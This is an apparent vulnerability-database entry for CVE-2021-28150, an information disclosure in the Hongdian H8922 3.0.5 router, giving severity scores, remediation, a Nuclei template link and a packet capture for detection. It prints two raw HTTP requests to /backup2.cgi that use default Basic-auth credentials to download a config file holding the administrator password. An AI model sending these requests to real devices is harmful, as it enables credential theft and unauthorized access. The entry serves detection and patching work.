🔙 목록으로 돌아가기

CVE-2021-28150: Hongdian H8922 3.0.5 - Information Disclosure

TitleHongdian H8922 3.0.5 - Information Disclosure
Authorgy741
SeverityMedium
ImpactSuccessful exploitation of this vulnerability can lead to the exposure of sensitive data, potentially compromising the confidentiality of the system and its users.
RemediationApply the latest security patch or update provided by Hongdian to fix the information disclosure vulnerability (CVE-2021-28150).
CVSS Score5.5
EPSS Score0.78839
CVE IDCVE-2021-28150
CWE IDCWE-425
Tags cve2021 cve hongdian exposure vkev vuln

🔍 Vulnerability Description

Hongdian H8922 3.0.5 is susceptible to information disclosure. An attacker can access cli.conf (with the administrator password and other sensitive data) via /backup2.cgi and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /backup2.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Connection: close
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Accept-Encoding: gzip
GET /backup2.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Authorization: Basic YWRtaW46YWRtaW4=
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-28150.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-28150.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A